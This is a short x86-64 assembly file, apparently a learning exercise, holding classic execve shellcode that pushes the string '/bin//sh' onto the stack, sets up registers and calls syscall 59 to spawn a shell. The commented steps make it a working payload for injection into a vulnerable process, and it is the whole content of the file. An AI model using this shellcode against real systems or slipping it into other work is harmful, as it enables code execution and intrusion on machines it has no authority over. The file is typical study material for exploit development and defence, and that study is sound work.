section .text
	global _start
_start:
	; push NULL
	xor rax, rax
	push rax

	; push /bin//sh in reverse
	mov rbx, 0x68732f2f6e69622f
	push rbx

	; store /bin//sh addres in RDI
	mov rdi, rsp

	; second NULL push 
	push rax

	;set RDX
	mov rdx, rsp

	;push address of /bin//sh
	push rdi

	; set RSI
	mov rsi, rsp

	; call the exevce syscall
	add rax, 59
	syscall
